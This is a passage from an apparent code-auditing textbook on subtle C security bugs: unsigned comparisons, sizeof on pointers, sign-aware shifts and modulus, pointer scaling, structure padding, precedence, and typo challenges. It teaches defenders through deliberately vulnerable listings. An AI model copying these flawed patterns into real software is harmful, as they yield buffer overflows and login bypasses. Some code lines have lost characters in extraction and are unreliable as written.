                       count_bytes - total_read_bytes); 

        reset_timeout(r); 

        if (read_bytes<=) { 

            break; 

        } 

        total_read_bytes += read_bytes; 

    } 

    signal(SIGPIPE, handler); 

    return total_read_bytes; 

} 

 

The return value from get_client_block() is stored in the read_bytes variable and 

then compared to make sure a negative number wasn't returned. Because read_bytes 

is unsigned, this check doesn't detect errors from get_client_block() as intended. As 

it turns out, this bug isn't immediately exploitable in this function. Can you see why? 

The loop controlling the loop also has an unsigned comparison, so if total_read_bytes 

is decremented under 0, it underflows and, therefore, takes a value larger than 

count_bytes, thus exiting the loop. 
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Auditing Tip 

Reviewing comparisons is essential to auditing C code. Pay particular attention to 

comparisons that protect allocation, array indexing, and copy operations. The best 

way to examine these comparisons is to go line by line and carefully study each 

relevant expression. 

In general, you should keep track of each variable and its underlying data type. If you 

can trace the input to a function back to a source you're familiar with, you should have 

a good idea of the possible values each input variable can have. Proceed through each 

potentially interesting calculation or comparison, and keep track of potential values of 

the variables at different points in the function evaluation. You can use a process 

similar to the one outlined in the previous section on locating integer boundary 

condition issues. 

When you evaluate a comparison, be sure to watch for unsigned integer values that 

cause their peer operands to be promoted to unsigned integers. sizeof and strlen () 

are classic examples of operands that cause this promotion. 

Remember to keep an eye out for unsigned variables used in comparisons, like the 

following: 

if (uvar < 0) ... 

if (uvar <= 0) ... 

 

The first form typically causes the compiler to emit a warning, but the second form 

doesn't. If you see this pattern, it's a good indication something is probably wrong 

with that section of the code. You should do a careful line-by-line analysis of the 

surrounding functionality. 

7.2.7 Operators 

Operators can produce unanticipated results. As you have seen, unsanitized operands 

used in simple arithmetic operations can potentially open security holes in 

applications. These exposures are generally the result of crossing over boundary 

conditions that affect the meaning of the result. In addition, each operator has 

associated type promotions that are performed on each of its operands implicitly 

which could produce some unexpected results. Because producing unexpected 

results is the essence of vulnerability discovery, it's important to know how these 

results might be produced and what exceptional conditions could occur. The following 

sections highlight these exceptional conditions and explain some common misuses of 

operators that could lead to potential vulnerabilities. 

The sizeof Operator 
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The first operator worth mentioning is sizeof. It's used regularly for buffer allocations, 

size comparisons, and size parameters to length-oriented functions. The sizeof 

operator is susceptible to misuse in certain circumstances that could lead to subtle 

vulnerabilities in otherwise solid-looking code. 

One of the most common mistakes with sizeof is accidentally using it on a pointer 

instead of its target. Listing 6-24 shows an example of this error. 

Listing 6-24. Sizeof Misuse Vulnerability Example 

char *read_username(int sockfd) 

{ 

    char *buffer, *style, userstring[1024]; 

    int i; 

 

    buffer = (char *)malloc(1024); 

 

    if(!buffer){ 

        error("buffer allocation failed: %m"); 

        return NULL; 

    } 

 

    if(read(sockfd, userstring, sizeof(userstring)-1) <= 0){ 

        free(buffer); 

        error("read failure: %m"); 

        return NULL; 

    } 

 

    userstring[sizeof(userstring)-1] = '\0'; 

 

    style = strchr(userstring, ':'); 

    if(style) 

        *style++ = '\0'; 

 

    sprintf(buffer, "username=%.32s", userstring); 

 

    if(style) 

        snprintf(buffer, sizeof(buffer)-strlen(buffer)-1, 

                 ", style=%s\n", style); 

 

    return buffer; 

} 
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In this code, some user data is read in from the network and copied into the allocated 

buffer. However, sizeof is used incorrectly on buffer. The intention is for 

sizeof(buffer) to return 1024, but because it's used on a character pointer type, it 

returns only 4! This results in an integer underflow condition in the size parameter to 

snprintf() when a style value is present; consequently, an arbitrary amount of data 

can be written to the memory pointed to by the buffer variable. This error is quite 

easy to make and often isn't obvious when reading code, so pay careful attention to 

the types of variables passed to the sizeof operator. They occur most frequently in 

length arguments, as in the preceding example, but they can also occur occasionally 

when calculating lengths for allocating space. The reason this type of bug is 

somewhat rare is that the misallocation would likely cause the program to crash and, 

therefore, get caught before release in many applications (unless it's in a rarely 

traversed code path). 

sizeof() also plays an integral role in signed and unsigned comparison bugs 

(explored in the "Comparison(? [????.])" section previously in this chapter) and 

structure padding issues (explored in "Structure Padding(? [????.])" later in this 

chapter). 

Auditing Tip: sizeof 

Be on the lookout for uses of sizeof in which developers take the size of a pointer to 

a buffer when they intend to take the size of the buffer. This often happens because 

of editing mistakes, when a buffer is moved from being within a function to being 

passed into a function. 

Again, look for sizeof in expressions that cause operands to be converted to unsigned 

values. 

 

 

Unexpected Results 

You have explored two primary idiosyncrasies of arithmetic operators: boundary 

conditions related to the storage of integer types and issues caused by conversions 

that occur when arithmetic operators are used in expressions. A few other nuances of 

C can lead to unanticipated behaviors, specifically nuances related to underlying 

machine primitives being aware of signed-ness. If a result is expected to fall within a 

specific range, attackers can sometimes violate those expectations. 

Interestingly enough, on twos complement machines, there are only a few operators 

in C in which the signed-ness of operands can affect the result of the operation. The 

most important operators in this group are comparisons. In addition to comparisons, 

only three other C operators have a result that's sensitive to whether operands are 

signed: right shift (>>), division (/), and modulus (%). These operators can produce 
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unexpected negative results when they're used with signed operands because of their 

underlying machine-level operations being sign-aware. As a code reviewer, you 

should be on the lookout for misuse of these operators because they can produce 

results that fall outside the range of expected values and catch developers off-guard. 

The right shift operator (>>) is often used in applications in place of the division 

operator (when dividing by powers of 2). Problems can happen when using this 

operator with a signed integer as the left operand. When right-shifting a negative 

value, the sign of the value is preserved by the underlying machine performing a 

sign-extending arithmetic shift. This sign-preserving right shift is shown in Listing 

6-25. 

Listing 6-25. Sign-Preserving Right Shift 

signed char c = 0x80; 

c >>= 4; 

 

1000 0000  value before right shift 

1111 1000  value after right shift 

 

Listing 6-26 shows how this code might produce an unexpected result that leads to a 

vulnerability. It's close to an actual vulnerability found recently in client code. 

Listing 6-26. Right Shift Vulnerability Example 

int print_high_word(int number) 

{ 

    char buf[sizeof("65535")]; 

 

    sprintf(buf, "%u", number >> 16); 

 

    return 0; 

} 

 

This function is designed to print a 16-bit unsigned integer (the high 16 bits of the 

number argument). Because number is signed, the right shift sign-extends number by 16 

bits if it's negative. Therefore, the %u specifier to sprintf() has the capability of 

printing a number much larger than sizeof("65535"), the amount of space allocated 

for the destination buffer, so the result is a buffer overflow. Vulnerable right shifts are 

good examples of bugs that are difficult to locate in source code yet readily visible in 

assembly code. In Intel assembly code, a signed, or arithmetic, right shift is 

performed with the sar mnemonic. A logical, or unsigned, right shift is performed with 

the shr mnemonic. Therefore, analyzing the assembly code can help you determine 
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whether a right shift is potentially vulnerable to sign extension. Table 6-9 shows 

signed and unsigned right-shift operations in the assembly code. 

Table 6-9. Signed Versus Unsigned Right-Shift Operations in Assembly 

Signed Right-Shift Operations Unsigned Right-Shift Operations 

mov eax, [ebp+8] mov eax, [ebp+8] 

sar eax, 16 shr eax, 16 

push eax push eax 

push offset string push offset string 

lea eax, [ebp+var_8] lea eax, [ebp+var_8] 

push eax push eax 

call sprintf call sprintf 

 

Division (/) is another operator that can produce unexpected results because of sign 

awareness. Whenever one of the operands is negative, the resulting quotient is also 

negative. Often, applications don't account for the possibility of negative results when 

performing division on integers. Listing 6-27 shows how using negative operands 

could create a vulnerability with division. 

Listing 6-27. Division Vulnerability Example 

int read_data(int sockfd) 

{ 

    int bitlength; 

    char *buffer; 

 

    bitlength = network_get_int(length); 

 

    buffer = (char *)malloc(bitlength / 8 + 1); 

 

    if (buffer == NULL) 

        die("no memory"); 

 

    if(read(sockfd, buffer, bitlength / 8) < 0){ 

        error("read error: %m"); 

        return -1; 

    } 

 

    return 0; 

} 
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Listing 6-27 takes a bitlength parameter from the network and allocates memory 

based on it. The bitlength is divided by 8 to obtain the number of bytes needed for 

the data that's subsequently read from the socket. One is added to the result, 

presumably to store extra bits in if the supplied bitlength isn't a multiple of 8. If the 

division can be made to return -1, the addition of 1 produces 0, resulting in a small 

amount of memory being allocated by malloc(). Then the third argument to read() 

would be -1, which would be converted to a size_t and interpreted as a large positive 

value. 

Similarly, the modulus operator (%) can produce negative results when dealing with a 

negative dividend operand. Code auditors should be on the lookout for modulus 

operations that don't properly sanitize their dividend operands because they could 

produce negative results that might create a security exposure. Modulus operators 

are often used when dealing with fixed-sized arrays (such as hash tables), so a 

negative result could immediately index before the beginning of the array, as shown 

in Listing 6-28. 

Listing 6-28. Modulus Vulnerability Example 

#define SESSION_SIZE 1024 

 

struct session { 

    struct session *next; 

    int session_id; 

} 

 

struct header { 

   int session_id; 

   ... 

}; 

 

struct session *sessions[SESSION_SIZE]; 

 

struct session *session_new(int session_id) 

{ 

    struct session *new1, *tmp; 

 

    new1 = malloc(sizeof(struct session)); 

    if(!new1) 

        die("malloc: %m"); 

 

    new1->session_id = session_id; 
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    new1->next = NULL; 

 

    if(!sessions[session_id%(SESSION_SIZE-1)]) 

    { 

        sessions[session_id%(SESSION_SIZE-1] = new1; 

        return new1; 

    } 

 

    for(tmp = sessions[session_id%(SESSION_SIZE-1)]; tmp->next; 

        tmp = tmp->next); 

 

    tmp->next = new1; 

 

    return new1; 

} 

 

int read_packet(int sockfd) 

{ 

    struct session *session; 

    struct header hdr; 

 

    if(full_read(sockfd, (void *)&hdr, sizeof(hdr)) != 

       sizeof(hdr)) 

    { 

        error("read: %m"); 

        return 1; 

    } 

 

    if((session = session_find(hdr.session_id)) == NULL) 

    { 

        session = session_new(hdr.sessionid); 

        return 0; 

    } 

 

    ... validate packet with session ... 

 

    return 0; 

} 

 

As you can see, a header is read from the network, and session information is 

retrieved from a hash table based on the header's session identifier field. The sessions 

are stored in the sessions hash table for later retrieval by the program. If the session 

identifier is negative, the result of the modulus operator is negative, and 
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out-of-bounds elements of the sessions array are indexed and possibly written to, 

which would probably be an exploitable condition. 

As with the right-shift operator, unsigned and signed divide and modulus operations 

can be distinguished easily in Intel assembly code. The mnemonic for the unsigned 

division instruction is div and its signed counterpart is idiv. Table 6-10 shows the 

difference between signed and unsigned divide operations. Note that compilers often 

use right-shift operations rather than division when the divisor is a constant. 

Table 6-10. Signed Versus Unsigned Divide Operations in Assembly 

Signed Divide Operations Unsigned Divide Operations 

mov eax, [ebp+8] mov eax, [ebp+8] 

mov ecx, [ebp+c] mov ecx, [ebp+c] 

cdq cdq 

idiv ecx div ecx 

ret ret 

 

Auditing Tip: Unexpected Results 

Whenever you encounter a right shift, be sure to check whether the left operand is 

signed. If so, there might be a slight potential for a vulnerability. Similarly, look for 

modulus and division operations that operate with signed operands. If users can 

specify negative values, they might be able to elicit unexpected results. 

7.2.8 Pointer Arithmetic 

Pointers are usually the first major hurdle that beginning C programmers encounter, 

as they can prove quite difficult to understand. The rules involving pointer arithmetic, 

dereferencing and indirection, pass-by-value semantics, pointer operator precedence, 

and pseudo-equivalence with arrays can be challenging to learn. The following 

sections focus on a few aspects of pointer arithmetic that might catch developers by 

surprise and lead to possible security exposures. 

Pointer Overview 

You know that a pointer is essentially a location in memoryan addressso it's a data 

type that's necessarily implementation dependent. You could have strikingly different 

pointer representations on different architectures, and pointers could be 

implemented in different fashions even on the 32-bit Intel architecture. For example, 

you could have 16-bit code, or even a compiler that transparently supported custom 
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virtual memory schemes involving segments. So assume this discussion uses the 

common architecture of GCC or vc++ compilers for userland code on Intel machines. 

You know that pointers probably have to be unsigned integers because valid virtual 

memory addresses can range from 0x0 to 0xffffffff. That said, it seems slightly odd 

when you subtract two pointers. Wouldn't a pointer need to somehow represent 

negative values as well? It turns out that the result of the subtraction isn't a pointer 

at all; instead, it's a signed integer type known as a ptrdiff_t. 

Pointers can be freely converted into integers and into pointers of other types with the 

use of casts. However, the compiler makes no guarantee that the resulting pointer or 

integer is correctly aligned or points to a valid object. Therefore, pointers are one of 

the more implementation-dependent portions of the C language. 

Pointer Arithmetic Overview 

When you do arithmetic with a pointer, what occurs? Here's a simple example of 

adding 1 to a pointer: 

short *j; 

 

j=(short *)0x1234; 

 

j = j + 1; 

 

This code has a pointer to a short named j. It's initialized to an arbitrary fixed address, 

0x1234. This is bad C code, but it serves to get the point across. As mentioned 

previously, you can treat pointers and integers interchangeably as long you use casts, 

but the results depend on the implementation. You might assume that after you add 

1 to j, j is equal to 0x1235. However, as you probably know, this isn't what happens. 

j is actually 0x1236. 

When C does arithmetic involving a pointer, it does the operation relative to the size 

of the pointer's target. So when you add 1 to a pointer to an object, the result is a 

pointer to the next object of that size in memory. In this example, the object is a short 

integer, which takes up 2 bytes (on the 32-bit Intel architecture), so the short 

following 0x1234 in memory is at location 0x1236. If you subtract 1, the result is the 

address of the short before the one at 0x1234, which is 0x1232. If you add 5, you get 

the address 0x123e, which is the fifth short past the one at 0x1234. 

Another way to think of it is that a pointer to an object is treated as an array 

composed of one element of that object. So j, a pointer to a short, is treated like the 

array short j[1], which contains one short. Therefore, j + 2 would be equivalent to 

&j[2]. Table 6-11 shows this concept. 
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Table 6-11. Pointer Arithmetic and Memory 

Pointer Expression Array Expression Address 

j - 2 &j[-2] 0x1230 

    0x1231 

j - 1 &j[-1] 0x1232 

    0x1233 

j j or &j[0] 0x1234 

    0x1235 

j + 1 &j[1] 0x1236 

    0x1237 

j + 2 &j[2] 0x1238 

    0x1239 

j + 3 &j[3] 0x123a 

    0x123b 

j + 4 &j[4] 0x123c 

    0x123d 

j + 5 &j[5] 0x123e 

    0x123f 

 

Now look at the details of the important pointer arithmetic operators, covered in the 

following sections. 

Addition 

The rules for pointer addition are slightly more restrictive than you might expect. You 

can add an integer type to a pointer type or a pointer type to an integer type, but you 

can't add a pointer type to a pointer type. This makes sense when you consider what 

pointer addition actually does; the compiler wouldn't know which pointer to use as the 

base type and which to use as an index. For example, look at the following operation: 

unsigned short *j; 

unsigned long *k; 

 

x = j+k; 
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This operation would be invalid because the compiler wouldn't know how to convert j 

or k into an index for the pointer arithmetic. You could certainly cast j or k into an 

integer, but the result would be unexpected, and it's unlikely someone would do this 

intentionally. 

One interesting rule of C is that the subscript operator falls under the category of 

pointer addition. The C standard states that the subscript operator is equivalent to an 

expression involving addition in the following way: 

E1[E2] is equivalent to (*((E1)+(E2))) 

 

With this in mind, look at the following example: 

char b[10]; 

 

b[4]='a'; 

 

The expression b[4] refers to the fifth object in the b character array. According to the 

rule, here's the equivalent way of writing it: 

(*((b)+(4)))='a'; 

 

You know from your earlier analysis that b + 4, with b of type pointer to char, is the 

same as saying &b[4]; therefore, the expression would be like saying (*(&b[4])) or 

b[4]. 

Finally, note that the resulting type of the addition between an integer and a pointer 

is the type of the pointer. 

Subtraction 

Subtraction has similar rules to addition, except subtracting one pointer from another 

is permissible. When you subtract a pointer from a pointer of the same type, you're 

asking for the difference in the subscripts of the two elements. In this case, the 

resulting type isn't a pointer but a ptrdiff_t, which is a signed integer type. The C 

standard indicates it should be defined in the stddef.h header file. 

Comparison 

Comparison between pointers works as you might expect. They consider the relative 

locations of the two pointers in the virtual address space. The resulting type is the 

same as with other comparisons: an integer type containing a 1 or 0. 
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Conditional Operator 

The conditional operator (?) can have pointers as its last two operands, and it has to 

reconcile their types much as it does when used with arithmetic operands. It does this 

by applying all qualifiers either pointer type has to the resulting type. 

Vulnerabilities 

Few vulnerabilities involving pointer arithmetic have been widely publicized, at least 

in the sense being described here. Plenty of vulnerabilities that involve manipulation 

of character pointers essentially boil down to miscounting buffer sizes, and although 

they technically qualify as pointer arithmetic errors, they aren't as subtle as pointer 

vulnerabilities can get. The more pernicious form of problems are those in which 

developers mistakenly perform arithmetic on pointers without realizing that their 

integer operands are being scaled by the size of the pointer's target. Consider the 

following code: 

int buf[1024]; 

int *b=buf; 

 

while (havedata() && b < buf + sizeof(buf)) 

{ 

    *b++=parseint(getdata()); 

} 

 

The intent of b < buf + sizeof(buf) is to prevent b from advancing past buf[1023]. 

However, it actually prevents b from advancing past buf[4092]. Therefore, this code is 

potentially vulnerable to a fairly straightforward buffer overflow. 

Listing 6-29 allocates a buffer and then copies the first path component from the 

argument string into the buffer. There's a length check protecting the wcscat function 

from overflowing the allocated buffer, but it's constructed incorrectly. Because the 

strings are wide characters, the pointer subtraction done to check the size of the input 

(sep - string) returns the difference of the two pointers in wide charactersthat is, the 

difference between the two pointers in bytes divided by 2. Therefore, this length 

check succeeds as long as (sep string) contains less than (MAXCHARS * 2) wide 

characters, which could be twice as much space as the allocated buffer can hold. 

Listing 6-29. Pointer Arithmetic Vulnerability Example 

wchar_t *copy_data(wchar_t *string) 

{ 

    wchar *sep, *new; 

    int size = MAXCHARS * sizeof(wchar); 
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    new = (wchar *)xmalloc(size); 

 

    *new = '\0'; 

 

    if(*string != '/'){ 

        wcscpy(new, "/"); 

        size -= sizeof(wchar_t); 

    } 

 

    sep = wstrchr(string, '/'); 

 

    if(!sep) 

        sep = string + wcslen(string); 

    if(sep - string >= (size  sizeof(wchar_t)) 

    { 

       free(new); 

       die("too much data"); 

    } 

 

    *sep = '\0'; 

 

    wcscat(new, string); 

 

    return new; 

} 

 

Auditing Tip 

Pointer arithmetic bugs can be hard to spot. Whenever an arithmetic operation is 

performed that involves pointers, look up the type of those pointers and then check 

whether the operation agrees with the implicit arithmetic taking place. In Listing 6-29, 

has sizeof() been used incorrectly with a pointer to a type that's not a byte? Has a 

similar operation happened in which the developer assumed the pointer type won't 

affect how the operation is performed? 

7.2.9 Other C Nuances 

The following sections touch on features and dark corners of the C language where 

security-relevant mistakes could be made. Not many real-world examples of these 

vulnerabilities are available, yet you should still be aware of the potential risks. Some 

examples might seem contrived, but try to imagine them as hidden beneath layers of 

macros and interdependent functions, and they might seem more realistic. 
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Order of Evaluation 

For most operators, C doesn't guarantee the order of evaluation of operands or the 

order of assignments from expression "side effects." For example, consider this code: 

printf("%d\n", i++, i++); 

 

There's no guarantee in which order the two increments are performed, and you'll find 

that the output varies based on the compiler and the architecture on which you 

compile the program. The only operators for which order of evaluation is guaranteed 

are &&, ||, ?:, and ,. Note that the comma doesn't refer to the arguments of a function; 

their evaluation order is implementation defined. So in something as simple as the 

following code, there's no guarantee that a() is called before b(): 

x = a() + b(); 

 

Ambiguous side effects are slightly different from ambiguous order of evaluation, but 

they have similar consequences. A side effect is an expression that causes the 

modification of a variablean assignment or increment operator, such as ++. The order 

of evaluation of side effects isn't defined within the same expression, so something 

like the following is implementation defined and, therefore, could cause problems: 

a[i] = i++; 

 

How could these problems have a security impact? In Listing 6-30, the developer uses 

the getstr() call to get the user string and pass string from some external source. 

However, if the system is recompiled and the order of evaluation for the getstr() 

function changes, the code could end up logging the password instead of the 

username. Admittedly, it would be a low-risk issue caught during testing. 

Listing 6-30. Order of Evaluation Logic Vulnerability 

int check_password(char *user, char *pass) 

{ 

    if (strcmp(getpass(user), pass)) 

    { 

        logprintf("bad password for user %s\n", user); 

        return -1; 

    } 

    return 0; 

} 

... 

if (check_password(getstr(), getstr()) 
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    exit(1); 

 

Listing 6-31 has a copy_packet() function that reads a packet from the network. It 

uses the GET32() macro to pull an integer from the packet and advance the pointer. 

There's a provision for optional padding in the protocol, and the presence of the 

padding size field is indicated by a flag in the packet header. So if FLAG_PADDING is set, 

the order of evaluation of the GET32() macros for calculating the datasize could 

possibly be reversed. If the padding option is in a fairly unused part of the protocol, an 

error of this nature could go undetected in production use. 

Listing 6-31. Order of Evaluation Macro Vulnerability 

#define GET32(x) (*((unsigned int *)(x))++) 

 

u_char *copy_packet(u_char *packet) 

{ 

   int *w = (int *)packet; 

   unsigned int hdrvar, datasize; 

 

   /* packet format is hdr var, data size, padding size */ 

 

   hdrvar = GET32(w); 

 

   if (hdrvar & FLAG_PADDING) 

       datasize = GET32(w) - GET32(w); 

   else 

       datasize = GET32(w); 

 

   ... 

} 

 

Structure Padding 

One somewhat obscure feature of C structures is that structure members don't have 

to be laid out contiguously in memory. The order of members is guaranteed to follow 

the order programmers specify, but structure padding can be used between members 

to facilitate alignment and performance needs. Here's an example of a simple 

structure: 

struct bob 

{ 

    int a; 

    unsigned short b; 

    unsigned char c; 
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}; 

 

What do you think sizeof(bob) is? A reasonable guess is 7; that's sizeof(a) + 

sizeof(b) + sizeof(c), which is 4 + 2 + 1. However, most compilers return 8 because 

they insert structure padding! This behavior is somewhat obscure now, but it will 

definitely become a well-known phenomenon as more 64-bit code is introduced 

because it has the potential to affect this code more acutely. How could it have a 

security consequence? Consider Listing 6-32. 

Listing 6-32. Structure Padding in a Network Protocol 

struct netdata 

{ 

    unsigned int query_id; 

    unsigned short header_flags; 

    unsigned int sequence_number; 

}; 

 

int packet_check_replay(unsigned char *buf, size_t len) 

{ 

    struct netdata *n = (struct netdata *)buf; 

 

    if ((ntohl(n->sequence_number) <= g_last_sequence number) 

        return PARSE_REPLAYATTACK; 

 

    // packet is safe - process 

    return PARSE_SAFE; 

} 

 

On a 32-bit big-endian system, the neTData structure is likely to be laid out as shown 

in Figure 6-9. You have an unsigned int, an unsigned short, 2 bytes of padding, and 

an unsigned int for a total structure size of 12 bytes. Figure 6-10 shows the traffic 

going over the network, in network byte order. If developers don't anticipate the 

padding being inserted in the structure, they could be misinterpreting the network 

protocol. This error could cause the server to accept a replay attack. 

Figure 6-9. Netdata structure on a 32-bit big-endian machine 
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Figure 6-10. Network protocol in network byte order 

 

 

The possibility of making this kind of mistake increases with 64-bit architectures. If a 

structure contains a pointer or long value, the layout of the structure in memory will 

most likely change. Any 64-bit value, such as a pointer or long int, will take up twice 

as much space as on a 32 bit-system and have to be placed on a 64-bit alignment 

boundary. 

The contents of the padding bits depend on whatever happens to be in memory when 

the structure is allocated. These bits could be different, which could lead to logic 

errors involving memory comparisons, as shown in Listing 6-33. 

Listing 6-33. Example of Structure Padding Double Free 

struct sh 

{ 

    void *base; 

    unsigned char code; 

    void *descptr; 

}; 

 

void free_sechdrs(struct sh *a, struct sh *b) 

{ 

    if (!memcmp(a, b, sizeof(a))) 

    { 

        /* they are equivalent */ 
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         free(a->descptr); 

         free(a->base); 

         free(a); 

         return; 

    } 

 

    free(a->descptr); 

    free(a->base); 

    free(a); 

    free(b->descptr); 

    free(b->base); 

    free(b); 

    return; 

} 

 

If the structure padding is different in the two structures, it could cause a double-free 

error to occur. Take a look at Listing 6-34. 

Listing 6-34. Example of Bad Counting with Structure Padding 

struct hdr 

{ 

    int flags; 

    short len; 

}; 

 

struct hdropt 

{ 

    char opt1; 

    char optlen; 

    char descl; 

}; 

 

struct msghdr 

{ 

    struct hdr h; 

    struct hdropt o; 

}; 

 

struct msghdr *form_hdr(struct hdr *h, struct hdropt *o) 

{ 

    struct msghdr *m=xmalloc(sizeof *h + sizeof *o); 
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    memset(m, 0, sizeof(struct msghdr)); 

 

... 

 

The size of hdropt would likely be 3 because there are no padding requirements for 

alignment. The size of hdr would likely be 8 and the size of msghdr would likely be 12 

to align the two structures. Therefore, memset would write 1 byte past the allocated 

data with a \0. 

Precedence 

When you review code written by experienced developers, you often see complex 

expressions that seem to be precariously void of parentheses. An interesting 

vulnerability would be a situation in which a precedence mistake is made but occurs 

in such a way that it doesn't totally disrupt the program. 

The first potential problem is the precedence of the bitwise & and | operators, 

especially when you mix them with comparison and equality operators, as shown in 

this example: 

if ( len & 0x80000000 != 0) 

    die("bad len!"); 

 

if (len < 1024) 

    memcpy(dst, src, len); 

 

The programmers are trying to see whether len is negative by checking the highest 

bit. Their intent is something like this: 

if ( (len & 0x80000000) != 0) 

    die("bad len!"); 

 

What's actually rendered into assembly code, however, is this: 

if ( len & (0x80000000 != 0)) 

    die("bad len!"); 

 

This code would evaluate to len & 1. If len's least significant bit isn't set, that test 

would pass, and users could specify a negative argument to memcpy(). 
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There are also potential precedence problems involving assignment, but they aren't 

likely to surface in production code because of compiler warnings. For example, look 

at the following code: 

if (len = getlen() > 30) 

    snprintf(dst, len - 30, "%s", src) 

 

The authors intended the following: 

if ((len = getlen()) > 30) 

    snprintf(dst, len - 30, "%s", src) 

 

However, they got the following: 

if (len = (getlen() > 30)) 

    snprintf(dst, len - 30, "%s", src) 

 

len is going to be 1 or 0 coming out of the if statement. If it's 1, the second argument 

to snprintf() is -29, which is essentially an unlimited string. 

Here's one more potential precedence error: 

int a = b + c >> 3; 

 

The authors intended the following: 

int a = b + (c >> 3); 

 

As you can imagine, they got the following: 

int a = (b + c) >> 3; 

 

 

Macros/Preprocessor 

C's preprocessor could also be a source of security problems. Most people are familiar 

with the problems in a macro like this: 

#define SQUARE(x) x*x 
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If you use it as follows: 

y = SQUARE(z + t); 

 

It would evaluate to the following: 

y = z + t*z + t; 

 

That result is obviously wrong. The recommended fix is to put parentheses around the 

macro and the arguments so that you have the following: 

#define SQUARE(x) ((x)*(x)) 

 

You can still get into trouble with macros constructed in this way when you consider 

order of evaluation and side-effect problems. For example, if you use the following: 

y = SQUARE(j++); 

 

It would evaluate to 

y = ((j++)*(j++)); 

 

That result is implementation defined. Similarly, if you use the following: 

y = SQUARE(getint()); 

 

It would evaluate to 

y = ((getint())*(getint())); 

 

This result is probably not what the author intended. Macros could certainly introduce 

security issues if they're used in way outside mainstream use, so pay attention when 

you're auditing code that makes heavy use of them. When in doubt, expand them by 

hand or look at the output of the preprocessor pass. 

Typos 

Programmers can make many simple typographic errors that might not affect 

program compilation or disrupt a program's runtime processes, but these typos could 
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lead to security-relevant problems. These errors are somewhat rare in production 

code, but occasionally they crop up. It can be entertaining to try to spot typos in code. 

Possible typographic mistakes have been presented as a series of challenges. Try to 

spot the mistake before reading the analysis. 

Challenge 1 

while (*src && left) 

{ 

    *dst++=*src++; 

 

    if (left = 0) 

        die("badlen"); 

 

    left--; 

} 

 

The statement if (left = 0) should read if (left == 0). 

In the correct version of the code, if left is 0, the loop detects a buffer overflow 

attempt and aborts. In the incorrect version, the if statement assigns 0 to left, and 

the result of that assignment is the value 0. The statement if (0) isn't true, so the 

next thing that occurs is the left--; statement. Because left is 0, left-- becomes a 

negative 1 or a large positive number, depending on left's type. Either way, left isn't 

0, so the while loop continues, and the check doesn't prevent a buffer overflow. 

Challenge 2 

int f; 

 

f=get_security_flags(username); 

if (f = FLAG_AUTHENTICATED) 

{ 

    return LOGIN_OK; 

} 

return LOGIN_FAILED; 

 

The statement if (f = FLAG_AUTHENTICATED) should read as follows: 

if (f == FLAG_AUTHENTICATED) 

 

In the correct version of the code, if users' security flags indicate they're 

authenticated, the function returns LOGIN_OK. Otherwise, it returns LOGIN_FAILED. 
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In the incorrect version, the if statement assigns whatever FLAG_AUTHENTICATED 

happens to be to f. The if statement always succeeds because FLAG_AUTHENTICATED is 

some nonzero value. Therefore, the function returns LOGIN_OK for every user. 

Challenge 3 

for (i==5; src[i] && i<10; i++) 

{ 

    dst[i-5]=src[i]; 

} 

 

The statement for (i==5; src[i] && i<10; i++) should read as follows: 

for (i=5; src[i] && i<10; i++) 

 

In the correct version of the code, the for loop copies 4 bytes, starting reading from 

src[5] and starting writing to dst[0]. In the incorrect version, the expression i= 

evaluates to true or false but doesn't affect the contents of i. Therefore, if i is some 

value less than 10, it could cause the for loop to write and read outside the bounds of 

the dst and src buffers. 

Challenge 4 

if (get_string(src) && 

    check_for_overflow(src) & copy_string(dst,src)) 

    printf("string safely copied\n"); 

 

The if statement should read like so: 

if (get_string(src) && 

    check_for_overflow(src) && copy_string(dst,src)) 

 

In the correct version of the code, the program gets a string into the src buffer and 

checks the src buffer for an overflow. If there isn't an overflow, it copies the string to 

the dst buffer and prints "string safely copied." 

In the incorrect version, the & operator doesn't have the same characteristics as the 

&& operator. Even if there isn't an issue caused by the difference between logical and 

bitwise AND operations in this situation, there's still the critical problem of short-circuit 

evaluation and guaranteed order of execution. Because it's a bitwise AND operation, 

both operand expressions are evaluated, and the order in which they are evaluated 

isn't necessarily known. Therefore, copy_string() is called even if 
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check_for_overflow() fails, and it might be called before check_for_overflow() is 

called. 

Challenge 5 

if (len > 0 && len <= sizeof(dst)); 

    memcpy(dst, src, len); 

 

The if statement should read like so: 

if (len > 0 && len <= sizeof(dst)) 

 

In the correct version of the code, the program performs a memcpy() only if the length 

is within a certain set of bounds, therefore preventing a buffer overflow attack. In the 

incorrect version, the extra semicolon at the end of the if statement denotes an 

empty statement, which means memcpy() always runs, regardless of the result of 

length checks. 

Challenge 6 

char buf[040]; 

 

snprintf(buf, 40, "%s", userinput); 

 

The statement char buf[040]; should read char buf[40];. 

In the correct version of the code, the program sets aside 40 bytes for the buffer it 

uses to copy the user input into. In the incorrect version, the program sets aside 32 

bytes. When an integer constant is preceded by 0 in C, it instructs the compiler that 

the constant is in octal. Therefore, the buffer length is interpreted as 040 octal, or 32 

decimal, and snprintf() could write past the end of the stack buffer. 

Challenge 7 

if (len < 0 || len > sizeof(dst)) /* check the length 

    die("bad length!"); 

 

/* length ok */ 

 

memcpy(dst, src, len); 

 

The if statement should read like so: 

if (len < 0 || len > sizeof(dst)) /* check the length */ 
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In the correct version of the code, the program checks the length before it carries out 

memcpy() and calls abort() if the length is out of the appropriate range. 

In the incorrect version, the lack of an end to the comment means memcpy() becomes 

the target statement for the if statement. So memcpy() occurs only if the length 

checks fail. 

Challenge 8 

if (len > 0 && len <= sizeof(dst)) 

    copiedflag = 1; 

    memcpy(dst, src, len); 

 

if (!copiedflag) 

    die("didn't copy"); 

 

The first if statement should read like so: 

if (len > 0 && len <= sizeof(dst)) 

{ 

    copiedflag = 1; 

    memcpy(dst, src, len); 

} 

 

In the correct version, the program checks the length before it carries out memcpy(). 

If the length is out of the appropriate range, the program sets a flag that causes an 

abort. 

In the incorrect version, the lack of a compound statement following the if statement 

means memcpy() is always performed. The indentation is intended to trick the reader's 

eyes. 

Challenge 9 

if (!strncmp(src, "magicword", 9)) 

    // report_magic(1); 

 

if (len < 0 || len > sizeof(dst)) 

    assert("bad length!"); 

 

/* length ok */ 

 

memcpy(dst, src, len); 
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The report_magic(1) statement should read like so: 

    // report_magic(1); 

   ; 

 

In the correct version, the program checks the length before it performs memcpy(). If 

the length is out of the appropriate range, the program sets a flag that causes an 

abort. 

In the incorrect version, the lack of a compound statement following the magicword if 

statement means the length check is performed only if the magicword comparison is 

true. Therefore, memcpy() is likely always performed. 

Challenge 10 

l = msg_hdr.msg_len; 

frag_off = msg_hdr.frag_off; 

frag_len = msg_hdr.frag_len; 

 

... 

 

if ( frag_len > (unsigned long)max) 
